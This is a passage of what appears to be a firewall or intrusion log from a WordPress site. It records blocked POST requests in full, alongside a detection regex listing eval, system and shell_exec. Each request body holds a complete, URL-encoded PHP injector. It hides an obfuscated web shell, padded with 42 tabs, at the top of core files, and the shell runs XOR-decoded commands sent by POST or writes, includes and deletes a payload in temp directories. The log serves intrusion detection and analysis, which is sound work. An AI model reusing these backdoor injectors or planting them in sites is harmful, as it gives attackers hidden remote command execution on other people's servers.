x65%255Cx6Cl%255Cx5Fe%255Cx78ec%2522%253B%2520%2524event_dispatcher7%2520%253D%2520%2522%255Cx70clo%255Cx73e%2522%253B%2520%2524event_dispatcher3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx66%255Cx6Cg%2522%255D%2529%2529%2520%257B%2520function%2520request_approved%2520%2528%2520%2524value%252C%2520%2524pgrp%2520%2529%257B%2520%2524res%2520%253D%2520%2527%2527%2520%253B%2520%2524d%253D0%253B%2520while%2528%2524d%253Cstrlen%2528%2524value%2529%2529%257B%2520%2524res.%253Dchr%2528ord%2528%2524value%255B%2524d%255D%2529%255E%2524pgrp%2529%253B%2520%2524d%252B%252B%253B%2520%257D%2520return%2520%2524res%253B%2520%257D%2520%2524flg%2520%253D%2520%2524settings%2528%2524_POST%255B%2522%255Cx66%255Cx6Cg%2522%255D%2529%253B%2520%2524flg%2520%253D%2520request_approved%2528%2524flg%252C%252077%2529%253B%2520if%2520%2528function_exists%2528%2524event_dispatcher1%2529%2529%2520%257B%2520%2524event_dispatcher1%2528%2524flg%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher2%2529%2529%2520%257B%2520print%2520%2524event_dispatcher2%2528%2524flg%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher3%2529%2529%2520%257B%2520%2524event_dispatcher3%2528%2524flg%252C%2520%2524k_value%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524k_value%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher4%2529%2529%2520%257B%2520%2524event_dispatcher4%2528%2524flg%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher5%2529%2520%2526%2526%2520function_exists%2528%2524event_dispatcher6%2529%2520%2526%2526%2520function_exists%2528%2524event_dispatcher7%2529%2529%2520%257B%2520%2524pgrp_res%2520%253D%2520%2524event_dispatcher5%2528%2524flg%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524pgrp_res%2529%2520%257B%2520%2524tkn_pointer%2520%253D%2520%2524event_dispatcher6%2528%2524pgrp_res%2529%253B%2520%2524event_dispatcher7%2528%2524pgrp_res%2529%253B%2520print%2520%2524tkn_pointer%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-length:5313\naccept:*\/*\naccept-encoding:gzip,deflate\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-activate.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524event_dispatcher1%2520%253D%2520%2522%255Cx73%255Cx79%255Cx73tem%2522%253B%2520%2524event_dispatcher5%2520%253D%2520%2522%255Cx70%255Cx6Fpen%2522%253B%2520%2524settings%2520%253D%2520%2522%255Cx68e%255Cx78%255Cx32%255Cx62in%2522%253B%2520%2524event_dispatcher6%2520%253D%2520%2522st%255Cx72e%255Cx61%255Cx6D%255Cx5Fge%255Cx74%255Cx5Fc%255Cx6Fn%255Cx74e%255Cx6Ets%2522%253B%2520%2524event_dispatcher4%2520%253D%2520%2522p%255Cx61%255Cx73%255Cx73%255Cx74hru%2522%253B%2520%2524event_dispatcher2%2520%253D%2520%2522s%255Cx68%255Cx65%255Cx6Cl%255Cx5Fe%255Cx78ec%2522%253B%2520%2524event_dispatcher7%2520%253D%2520%2522%255Cx70clo%255Cx73e%2522%253B%2520%2524event_dispatcher3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx66%255Cx6Cg%2522%255D%2529%2529%2520%257B%2520function%2520request_approved%2520%2528%2520%2524value%252C%2520%2524pgrp%2520%2529%257B%2520%2524res%2520%253D%2520%2527%2527%2520%253B%2520%2524d%253D0%253B%2520while%2528%2524d%253Cstrlen%2528%2524value%2529%2529%257B%2520%2524res.%253Dchr%2528ord%2528%2524value%255B%2524d%255D%2529%255E%2524pgrp%2529%253B%2520%2524d%252B%252B%253B%2520%257D%2520return%2520%2524res%253B%2520%257D%2520%2524flg%2520%253D%2520%2524settings%2528%2524_POST%255B%2522%255Cx66%255Cx6Cg%2522%255D%2529%253B%2520%2524flg%2520%253D%2520request_approved%2528%2524flg%252C%252077%2529%253B%2520if%2520%2528function_exists%2528%2524event_dispatcher1%2529%2529%2520%257B%2520%2524event_dispatcher1%2528%2524flg%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher2%2529%2529%2520%257B%2520print%2520%2524event_dispatcher2%2528%2524flg%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher3%2529%2529%2520%257B%2520%2524event_dispatcher3%2528%2524flg%252C%2520%2524k_value%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524k_value%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher4%2529%2529%2520%257B%2520%2524event_dispatcher4%2528%2524flg%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher5%2529%2520%2526%2526%2520function_exists%2528%2524event_dispatcher6%2529%2520%2526%2526%2520function_exists%2528%2524event_dispatcher7%2529%2529%2520%257B%2520%2524pgrp_res%2520%253D%2520%2524event_dispatcher5%2528%2524flg%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524pgrp_res%2529%2520%257B%2520%2524tkn_pointer%2520%253D%2520%2524event_dispatcher6%2528%2524pgrp_res%2529%253B%2520%2524event_dispatcher7%2528%2524pgrp_res%2529%253B%2520print%2520%2524tkn_pointer%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 09:42:38","212.87.197.20","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> QL:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-activate.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524event_dispatcher1%2520%253D%2520%2522%255Cx73%255Cx79%255Cx73tem%2522%253B%2520%2524event_dispatcher5%2520%253D%2520%2522%255Cx70%255Cx6Fpen%2522%253B%2520%2524settings%2520%253D%2520%2522%255Cx68e%255Cx78%255Cx32%255Cx62in%2522%253B%2520%2524event_dispatcher6%2520%253D%2520%2522st%255Cx72e%255Cx61%255Cx6D%255Cx5Fge%255Cx74%255Cx5Fc%255Cx6Fn%255Cx74e%255Cx6Ets%2522%253B%2520%2524event_dispatcher4%2520%253D%2520%2522p%255Cx61%255Cx73%255Cx73%255Cx74hru%2522%253B%2520%2524event_dispatcher2%2520%253D%2520%2522s%255Cx68%255Cx65%255Cx6Cl%255Cx5Fe%255Cx78ec%2522%253B%2520%2524event_dispatcher7%2520%253D%2520%2522%255Cx70clo%255Cx73e%2522%253B%2520%2524event_dispatcher3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx66%255Cx6Cg%2522%255D%2529%2529%2520%257B%2520function%2520request_approved%2520%2528%2520%2524value%252C%2520%2524pgrp%2520%2529%257B%2520%2524res%2520%253D%2520%2527%2527%2520%253B%2520%2524d%253D0%253B%2520while%2528%2524d%253Cstrlen%2528%2524value%2529%2529%257B%2520%2524res.%253Dchr%2528ord%2528%2524value%255B%2524d%255D%2529%255E%2524pgrp%2529%253B%2520%2524d%252B%252B%253B%2520%257D%2520return%2520%2524res%253B%2520%257D%2520%2524flg%2520%253D%2520%2524settings%2528%2524_POST%255B%2522%255Cx66%255Cx6Cg%2522%255D%2529%253B%2520%2524flg%2520%253D%2520request_approved%2528%2524flg%252C%252077%2529%253B%2520if%2520%2528function_exists%2528%2524event_dispatcher1%2529%2529%2520%257B%2520%2524event_dispatcher1%2528%2524flg%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher2%2529%2529%2520%257B%2520print%2520%2524event_dispatcher2%2528%2524flg%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher3%2529%2529%2520%257B%2520%2524event_dispatcher3%2528%2524flg%252C%2520%2524k_value%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524k_value%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher4%2529%2529%2520%257B%2520%2524event_dispatcher4%2528%2524flg%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher5%2529%2520%2526%2526%2520function_exists%2528%2524event_dispatcher6%2529%2520%2526%2526%2520function_exists%2528%2524event_dispatcher7%2529%2529%2520%257B%2520%2524pgrp_res%2520%253D%2520%2524event_dispatcher5%2528%2524flg%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524pgrp_res%2529%2520%257B%2520%2524tkn_pointer%2520%253D%2520%2524event_dispatcher6%2528%2524pgrp_res%2529%253B%2520%2524event_dispatcher7%2528%2524pgrp_res%2529%253B%2520print%2520%2524tkn_pointer%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-length:5290\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nupgrade-insecure-requests:1\naccept:*\/*\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHHjvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaA5p3EyoFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\n\nQL=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-activate.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524event_dispatcher1%2520%253D%2520%2522%255Cx73%255Cx79%255Cx73tem%2522%253B%2520%2524event_dispatcher5%2520%253D%2520%2522%255Cx70%255Cx6Fpen%2522%253B%2520%2524settings%2520%253D%2520%2522%255Cx68e%255Cx78%255Cx32%255Cx62in%2522%253B%2520%2524event_dispatcher6%2520%253D%2520%2522st%255Cx72e%255Cx61%255Cx6D%255Cx5Fge%255Cx74%255Cx5Fc%255Cx6Fn%255Cx74e%255Cx6Ets%2522%253B%2520%2524event_dispatcher4%2520%253D%2520%2522p%255Cx61%255Cx73%255Cx73%255Cx74hru%2522%253B%2520%2524event_dispatcher2%2520%253D%2520%2522s%255Cx68%255Cx65%255Cx6Cl%255Cx5Fe%255Cx78ec%2522%253B%2520%2524event_dispatcher7%2520%253D%2520%2522%255Cx70clo%255Cx73e%2522%253B%2520%2524event_dispatcher3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx66%255Cx6Cg%2522%255D%2529%2529%2520%257B%2520function%2520request_approved%2520%2528%2520%2524value%252C%2520%2524pgrp%2520%2529%257B%2520%2524res%2520%253D%2520%2527%2527%2520%253B%2520%2524d%253D0%253B%2520while%2528%2524d%253Cstrlen%2528%2524value%2529%2529%257B%2520%2524res.%253Dchr%2528ord%2528%2524value%255B%2524d%255D%2529%255E%2524pgrp%2529%253B%2520%2524d%252B%252B%253B%2520%257D%2520return%2520%2524res%253B%2520%257D%2520%2524flg%2520%253D%2520%2524settings%2528%2524_POST%255B%2522%255Cx66%255Cx6Cg%2522%255D%2529%253B%2520%2524flg%2520%253D%2520request_approved%2528%2524flg%252C%252077%2529%253B%2520if%2520%2528function_exists%2528%2524event_dispatcher1%2529%2529%2520%257B%2520%2524event_dispatcher1%2528%2524flg%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher2%2529%2529%2520%257B%2520print%2520%2524event_dispatcher2%2528%2524flg%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher3%2529%2529%2520%257B%2520%2524event_dispatcher3%2528%2524flg%252C%2520%2524k_value%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524k_value%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher4%2529%2529%2520%257B%2520%2524event_dispatcher4%2528%2524flg%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524event_dispatcher5%2529%2520%2526%2526%2520function_exists%2528%2524event_dispatcher6%2529%2520%2526%2526%2520function_exists%2528%2524event_dispatcher7%2529%2529%2520%257B%2520%2524pgrp_res%2520%253D%2520%2524event_dispatcher5%2528%2524flg%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524pgrp_res%2529%2520%257B%2520%2524tkn_pointer%2520%253D%2520%2524event_dispatcher6%2528%2524pgrp_res%2529%253B%2520%2524event_dispatcher7%2528%2524pgrp_res%2529%253B%2520print%2520%2524tkn_pointer%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:42:41","103.143.207.18","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> gB:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/require-static-blocks.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2540%2524_POST%255B%2522des%255Cx63%2522%255D%2520%2521%253D%253D%2520null%2529%257B%2520%2524obj%2520%253D%2520hex2bin%2528%2524_POST%255B%2522des%255Cx63%2522%255D%2529%253B%2520%2524key%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524e%253D0%253B%2520%2524e%253Cstrlen%2528%2524obj%2529%253B%2520%2524e%252B%252B%2529%257B%2524key%2520.%253D%2520chr%2528ord%2528%2524obj%255B%2524e%255D%2529%2520%255E%252094%2529%253B%257D%2520%2524bind%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520foreach%2520%2528%2524bind%2520as%2520%2524resource%2529%253A%2520if%2520%2528%2521%2528%2520%2521is_dir%2528%2524resource%2529%2520%257C%257C%2520%2521is_writable%2528%2524resource%2529%2520%2529%2529%2520%257B%2520%2524res%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524resource%252C%2520%2522.pset%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524res%252C%2520%2524key%2529%2529%2520%257B%2520include%2520%2524res%253B%2520%2540unlink%2528%2524res%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-length:3765\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nupgrade-insecure-requests:1\naccept:*\/*\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvM0VvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvrS9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\ngB=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/require-static-blocks.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2540%2524_POST%255B%2522des%255Cx63%2522%255D%2520%2521%253D%253D%2520null%2529%257B%2520%2524obj%2520%253D%2520hex2bin%2528%2524_POST%255B%2522des%255Cx63%2522%255D%2529%253B%2520%2524key%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524e%253D0%253B%2520%2524e%253Cstrlen%2528%2524obj%2529%253B%2520%2524e%252B%252B%2529%257B%2524key%2520.%253D%2520chr%2528ord%2528%2524obj%255B%2524e%255D%2529%2520%255E%252094%2529%253B%257D%2520%2524bind%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520foreach%2520%2528%2524bind%2520as%2520%2524resource%2529%253A%2520if%2520%2528%2521%2528%2520%2521is_dir%2528%2524resource%2529%2520%257C%257C%2520%2521is_writable%2528%2524resource%2529%2520%2529%2529%2520%257B%2520%2524res%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524resource%252C%2520%2522.pset%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524res%252C%2520%2524key%2529%2529%2520%257B%2520include%2520%2524res%253B%2520%2540unlink%2528%2524res%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
